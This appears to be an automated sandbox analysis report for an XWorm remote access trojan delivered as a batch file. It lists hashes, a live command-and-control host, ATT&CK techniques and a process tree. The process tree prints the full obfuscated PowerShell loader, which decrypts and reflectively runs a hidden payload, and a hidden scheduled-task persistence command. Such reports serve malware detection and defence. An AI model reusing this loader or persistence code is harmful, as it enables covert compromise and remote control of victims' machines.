xworm | d2d4ad73e3e1247c5dfa633aac6ca6e7bf0de3d0205790309759798e4bee062f

Analysis

max time kernel
99s
max time network
152s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
03-11-2024 05:39

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General

Target

BootStrapper.bat
Size

302KB
MD5

e11a5d978c9f06cc301c8c44e52b4852
SHA1

831ba9abea94b996c532cdada5a79bba72a391e3
SHA256

d2d4ad73e3e1247c5dfa633aac6ca6e7bf0de3d0205790309759798e4bee062f
SHA512

f0bcd0f568f52d2519c62486ed9b94a342ee5fcd7d52835cb5d0377a1ac8b178d8ae0bd04675dd01778291b6f36807a1c27e88497c7344e15d23fdbe792349f2
SSDEEP

6144:U6j7gPgcFREzUgq4RgFmRYMkj/qUxD1p0/vb4YfrVTZJEdtnUNN4tK:rexEAglRetVf0/FfpPQnUNoK

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

where-reverse.gl.at.ply.gg:9999

Attributes

Install_directory
%ProgramData%
install_file
Helper.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/2260-54-0x000001A4C1B00000-0x000001A4C1B1A000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
24	2260	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2028	powershell.exe
2260	powershell.exe
1804	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3495501434-311648039-2993076821-1000\Control Panel\International\Geo\Nation	WScript.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3495501434-311648039-2993076821-1000_Classes\Local Settings	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2028	powershell.exe
2028	powershell.exe
1804	powershell.exe
1804	powershell.exe
2260	powershell.exe
2260	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2028	powershell.exe
Token: SeDebugPrivilege	1804	powershell.exe
Token: SeIncreaseQuotaPrivilege	1804	powershell.exe
Token: SeSecurityPrivilege	1804	powershell.exe
Token: SeTakeOwnershipPrivilege	1804	powershell.exe
Token: SeLoadDriverPrivilege	1804	powershell.exe
Token: SeSystemProfilePrivilege	1804	powershell.exe
Token: SeSystemtimePrivilege	1804	powershell.exe
Token: SeProfSingleProcessPrivilege	1804	powershell.exe
Token: SeIncBasePriorityPrivilege	1804	powershell.exe
Token: SeCreatePagefilePrivilege	1804	powershell.exe
Token: SeBackupPrivilege	1804	powershell.exe
Token: SeRestorePrivilege	1804	powershell.exe
Token: SeShutdownPrivilege	1804	powershell.exe
Token: SeDebugPrivilege	1804	powershell.exe
Token: SeSystemEnvironmentPrivilege	1804	powershell.exe
Token: SeRemoteShutdownPrivilege	1804	powershell.exe
Token: SeUndockPrivilege	1804	powershell.exe
Token: SeManageVolumePrivilege	1804	powershell.exe
Token: 33	1804	powershell.exe
Token: 34	1804	powershell.exe
Token: 35	1804	powershell.exe
Token: 36	1804	powershell.exe
Token: SeIncreaseQuotaPrivilege	1804	powershell.exe
Token: SeSecurityPrivilege	1804	powershell.exe
Token: SeTakeOwnershipPrivilege	1804	powershell.exe
Token: SeLoadDriverPrivilege	1804	powershell.exe
Token: SeSystemProfilePrivilege	1804	powershell.exe
Token: SeSystemtimePrivilege	1804	powershell.exe
Token: SeProfSingleProcessPrivilege	1804	powershell.exe
Token: SeIncBasePriorityPrivilege	1804	powershell.exe
Token: SeCreatePagefilePrivilege	1804	powershell.exe
Token: SeBackupPrivilege	1804	powershell.exe
Token: SeRestorePrivilege	1804	powershell.exe
Token: SeShutdownPrivilege	1804	powershell.exe
Token: SeDebugPrivilege	1804	powershell.exe
Token: SeSystemEnvironmentPrivilege	1804	powershell.exe
Token: SeRemoteShutdownPrivilege	1804	powershell.exe
Token: SeUndockPrivilege	1804	powershell.exe
Token: SeManageVolumePrivilege	1804	powershell.exe
Token: 33	1804	powershell.exe
Token: 34	1804	powershell.exe
Token: 35	1804	powershell.exe
Token: 36	1804	powershell.exe
Token: SeIncreaseQuotaPrivilege	1804	powershell.exe
Token: SeSecurityPrivilege	1804	powershell.exe
Token: SeTakeOwnershipPrivilege	1804	powershell.exe
Token: SeLoadDriverPrivilege	1804	powershell.exe
Token: SeSystemProfilePrivilege	1804	powershell.exe
Token: SeSystemtimePrivilege	1804	powershell.exe
Token: SeProfSingleProcessPrivilege	1804	powershell.exe
Token: SeIncBasePriorityPrivilege	1804	powershell.exe
Token: SeCreatePagefilePrivilege	1804	powershell.exe
Token: SeBackupPrivilege	1804	powershell.exe
Token: SeRestorePrivilege	1804	powershell.exe
Token: SeShutdownPrivilege	1804	powershell.exe
Token: SeDebugPrivilege	1804	powershell.exe
Token: SeSystemEnvironmentPrivilege	1804	powershell.exe
Token: SeRemoteShutdownPrivilege	1804	powershell.exe
Token: SeUndockPrivilege	1804	powershell.exe
Token: SeManageVolumePrivilege	1804	powershell.exe
Token: 33	1804	powershell.exe
Token: 34	1804	powershell.exe
Token: 35	1804	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 564 wrote to memory of 3788	564	cmd.exe	82
PID 564 wrote to memory of 3788	564	cmd.exe	82
PID 3788 wrote to memory of 2492	3788	net.exe	83
PID 3788 wrote to memory of 2492	3788	net.exe	83
PID 564 wrote to memory of 2028	564	cmd.exe	87
PID 564 wrote to memory of 2028	564	cmd.exe	87
PID 2028 wrote to memory of 1804	2028	powershell.exe	90
PID 2028 wrote to memory of 1804	2028	powershell.exe	90
PID 2028 wrote to memory of 1600	2028	powershell.exe	93
PID 2028 wrote to memory of 1600	2028	powershell.exe	93
PID 1600 wrote to memory of 3448	1600	WScript.exe	95
PID 1600 wrote to memory of 3448	1600	WScript.exe	95
PID 3448 wrote to memory of 4344	3448	cmd.exe	97
PID 3448 wrote to memory of 4344	3448	cmd.exe	97
PID 4344 wrote to memory of 1196	4344	net.exe	98
PID 4344 wrote to memory of 1196	4344	net.exe	98
PID 3448 wrote to memory of 2260	3448	cmd.exe	99
PID 3448 wrote to memory of 2260	3448	cmd.exe	99

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\BootStrapper.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:564
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3788
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:2492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('T12zWGXOdj/4tvDynuJlkV+tGuymMWBUVvtybMhMmkU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lqzRHvr7a/3jLbzoGMYIzw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $HESDg=New-Object System.IO.MemoryStream(,$param_var); $CUFYB=New-Object System.IO.MemoryStream; $bBWQM=New-Object System.IO.Compression.GZipStream($HESDg, [IO.Compression.CompressionMode]::Decompress); $bBWQM.CopyTo($CUFYB); $bBWQM.Dispose(); $HESDg.Dispose(); $CUFYB.Dispose(); $CUFYB.ToArray();}function execute_function($param_var,$param2_var){ $yxINq=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $vkmqG=$yxINq.EntryPoint; $vkmqG.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\BootStrapper.bat';$xRoTh=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\BootStrapper.bat').Split([Environment]::NewLine);foreach ($aplDG in $xRoTh) { if ($aplDG.StartsWith(':: ')) { $kYRLt=$aplDG.Substring(3); break; }}$payloads_var=[string[]]$kYRLt.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2028
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_229_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_229.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1804
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_229.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:1600
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_229.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3448
    - - C:\Windows\system32\net.exe
        
        net file
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4344
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        6⤵
        
        PID:1196
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('T12zWGXOdj/4tvDynuJlkV+tGuymMWBUVvtybMhMmkU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lqzRHvr7a/3jLbzoGMYIzw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $HESDg=New-Object System.IO.MemoryStream(,$param_var); $CUFYB=New-Object System.IO.MemoryStream; $bBWQM=New-Object System.IO.Compression.GZipStream($HESDg, [IO.Compression.CompressionMode]::Decompress); $bBWQM.CopyTo($CUFYB); $bBWQM.Dispose(); $HESDg.Dispose(); $CUFYB.Dispose(); $CUFYB.ToArray();}function execute_function($param_var,$param2_var){ $yxINq=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $vkmqG=$yxINq.EntryPoint; $vkmqG.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_229.bat';$xRoTh=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_229.bat').Split([Environment]::NewLine);foreach ($aplDG in $xRoTh) { if ($aplDG.StartsWith(':: ')) { $kYRLt=$aplDG.Substring(3); break; }}$payloads_var=[string[]]$kYRLt.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2260

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
391ff5577f782c598c4d21a9f6da0f68

SHA1
ccd5f033a852026c7aacbffe03798a0b5cd0a99e

SHA256
b58c0a1126d3fa5a60ac9ec9d8247318d85510043e18c924151ef03f8e89b136

SHA512
d686b493465ef73765f1fe83881c08351ad00092c39a86806bd1f7b7885407cb6366b1398ae8f79827615f31a3f97576abe297981d8bf03e7379985e84d7db38

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_muc2c0pt.0jk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_229.vbs

Filesize
115B

MD5
5c21d86439b5ca6c94a82fcfd74147f3

SHA1
1a6b62869a5e94f09f452def99482afb67db1847

SHA256
ae5763379b589e07a6ee08fe96d809209bcca2108a3d0e90869cce8593aaf8d3

SHA512
48cc1d528ac4185fc2c5a4172072af5dfe1e8a4cc1d79d3d5a3982274740d8a58de9dd6a943979459eb736e9b46acf71d5080038ca7ebd3504574ccf0b977f1d

Download Submit
memory/1804-26-0x00007FFB78DD0000-0x00007FFB79892000-memory.dmp

Filesize
10.8MB

Download
memory/1804-27-0x00007FFB78DD0000-0x00007FFB79892000-memory.dmp

Filesize
10.8MB

Download
memory/1804-31-0x00007FFB78DD0000-0x00007FFB79892000-memory.dmp

Filesize
10.8MB

Download
memory/1804-28-0x00007FFB78DD0000-0x00007FFB79892000-memory.dmp

Filesize
10.8MB

Download
memory/2028-0-0x00007FFB78DD3000-0x00007FFB78DD5000-memory.dmp

Filesize
8KB

Download
memory/2028-13-0x00007FFB78DD0000-0x00007FFB79892000-memory.dmp

Filesize
10.8MB

Download
memory/2028-15-0x000001F982690000-0x000001F9826CA000-memory.dmp

Filesize
232KB

Download
memory/2028-14-0x000001F982680000-0x000001F982688000-memory.dmp

Filesize
32KB

Download
memory/2028-12-0x00007FFB78DD0000-0x00007FFB79892000-memory.dmp

Filesize
10.8MB

Download
memory/2028-11-0x00007FFB78DD0000-0x00007FFB79892000-memory.dmp

Filesize
10.8MB

Download
memory/2028-6-0x000001F9E5420000-0x000001F9E5442000-memory.dmp

Filesize
136KB

Download
memory/2028-41-0x00007FFB78DD3000-0x00007FFB78DD5000-memory.dmp

Filesize
8KB

Download
memory/2028-42-0x00007FFB78DD0000-0x00007FFB79892000-memory.dmp

Filesize
10.8MB

Download
memory/2028-43-0x00007FFB78DD0000-0x00007FFB79892000-memory.dmp

Filesize
10.8MB

Download
memory/2260-54-0x000001A4C1B00000-0x000001A4C1B1A000-memory.dmp

Filesize
104KB

Download